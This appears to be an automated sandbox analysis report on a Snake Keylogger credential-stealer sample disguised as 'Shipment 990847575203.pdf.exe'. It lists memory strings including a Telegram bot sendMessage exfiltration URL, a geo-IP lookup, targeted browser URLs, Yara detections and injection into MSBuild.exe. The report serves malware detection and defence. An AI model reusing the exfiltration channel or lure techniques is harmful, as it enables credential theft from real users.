Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20a
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000011.00000002.3578489712.0000000003218000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003209000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: MSBuild.exe, 00000011.00000002.3578489712.0000000003209000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en8
Source: MSBuild.exe, 00000011.00000002.3578489712.0000000003213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 00000009.00000002.3578857774.0000000002992000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002922000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002922000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: MSBuild.exe, 00000011.00000002.3578489712.0000000003141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: MSBuild.exe, 00000009.00000002.3578857774.000000000294D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002992000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000011.00000002.3578489712.000000000324A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: MSBuild.exe, 00000009.00000002.3578857774.0000000002A95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB
Source: MSBuild.exe, 00000009.00000002.3578857774.0000000002A8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/p

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49768 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 17.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Shipment 990847575203.pdf.exe

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_0185DE84	0_2_0185DE84
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07C9D488	0_2_07C9D488
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07C9E240	0_2_07C9E240
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07C9C198	0_2_07C9C198
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07C9D8C0	0_2_07C9D8C0
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07CA11FC	0_2_07CA11FC
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07CA8930	0_2_07CA8930
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07CA2A97	0_2_07CA2A97
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07ED3110	0_2_07ED3110
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Code function: 0_2_07ED1821	0_2_07ED1821
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00A97C11	9_2_00A97C11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00A94E1C	9_2_00A94E1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00A9C7D0	9_2_00A9C7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00A97C31	9_2_00A97C31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00A92D54	9_2_00A92D54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBC1A7	9_2_00CBC1A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBD284	9_2_00CBD284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBC477	9_2_00CBC477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBC73F	9_2_00CBC73F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBE988	9_2_00CBE988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB69A0	9_2_00CB69A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBCCE7	9_2_00CBCCE7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB9DE0	9_2_00CB9DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB6FC8	9_2_00CB6FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBCFB7	9_2_00CBCFB7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB5381	9_2_00CB5381
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBE987	9_2_00CBE987
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBF974	9_2_00CBF974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB3AC7	9_2_00CB3AC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CBCA19	9_2_00CBCA19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB3A24	9_2_00CB3A24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB3B61	9_2_00CB3B61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB3B15	9_2_00CB3B15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00CB3E09	9_2_00CB3E09
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_016EDE84	10_2_016EDE84
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076B50C0	10_2_076B50C0
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076BD488	10_2_076BD488
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076BE240	10_2_076BE240
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076BC198	10_2_076BC198
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076BD8C0	10_2_076BD8C0
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076C11FC	10_2_076C11FC
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076C8930	10_2_076C8930
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_076C2A90	10_2_076C2A90
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_0BB90B20	10_2_0BB90B20
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Code function: 10_2_0BB92510	10_2_0BB92510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01193188	17_2_01193188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01194E1C	17_2_01194E1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01193070	17_2_01193070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01196080	17_2_01196080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_0119C7D0	17_2_0119C7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01192D54	17_2_01192D54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_01197C11	17_2_01197C11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBD278	17_2_02EBD278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB5362	17_2_02EB5362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBA088	17_2_02EBA088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBC146	17_2_02EBC146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB7118	17_2_02EB7118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBC738	17_2_02EBC738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBC468	17_2_02EBC468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBCA08	17_2_02EBCA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB69A0	17_2_02EB69A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBE988	17_2_02EBE988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBCFAA	17_2_02EBCFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBCCD8	17_2_02EBCCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB3AC8	17_2_02EB3AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB3A24	17_2_02EB3A24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB3B61	17_2_02EB3B61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB3B15	17_2_02EB3B15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBF961	17_2_02EBF961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EBE97A	17_2_02EBE97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_02EB3E09	17_2_02EB3E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB1E80	17_2_06AB1E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABE258	17_2_06ABE258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB17A0	17_2_06AB17A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB0B30	17_2_06AB0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB5028	17_2_06AB5028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB9C18	17_2_06AB9C18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABFC68	17_2_06ABFC68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB2968	17_2_06AB2968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB9548	17_2_06AB9548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABE6A0	17_2_06ABE6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABE6B0	17_2_06ABE6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABEAF8	17_2_06ABEAF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABDE00	17_2_06ABDE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB1E77	17_2_06AB1E77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABE24B	17_2_06ABE24B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB8BA0	17_2_06AB8BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABF3B8	17_2_06ABF3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB1793	17_2_06AB1793
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB0B20	17_2_06AB0B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABEB08	17_2_06ABEB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABEF60	17_2_06ABEF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABEF51	17_2_06ABEF51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABCCA0	17_2_06ABCCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABD0E9	17_2_06ABD0E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABD0F8	17_2_06ABD0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABF803	17_2_06ABF803
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB0007	17_2_06AB0007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB501B	17_2_06AB501B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABF810	17_2_06ABF810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB0014	17_2_06AB0014
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06AB0040	17_2_06AB0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABD9A8	17_2_06ABD9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABD999	17_2_06ABD999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABDDFF	17_2_06ABDDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABD540	17_2_06ABD540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 17_2_06ABD550	17_2_06ABD550

Source: Shipment 990847575203.pdf.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FZcXKpA.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2438850079.0000000007B70000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2419769036.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2421064302.000000000330C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2421064302.00000000032F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe, 00000000.00000000.2323378587.0000000000EC2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHQOL.exe4 vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2440674373.0000000008050000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs Shipment 990847575203.pdf.exe
Source: Shipment 990847575203.pdf.exe	Binary or memory string: OriginalFilenameHQOL.exe4 vs Shipment 990847575203.pdf.exe

Source: Shipment 990847575203.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

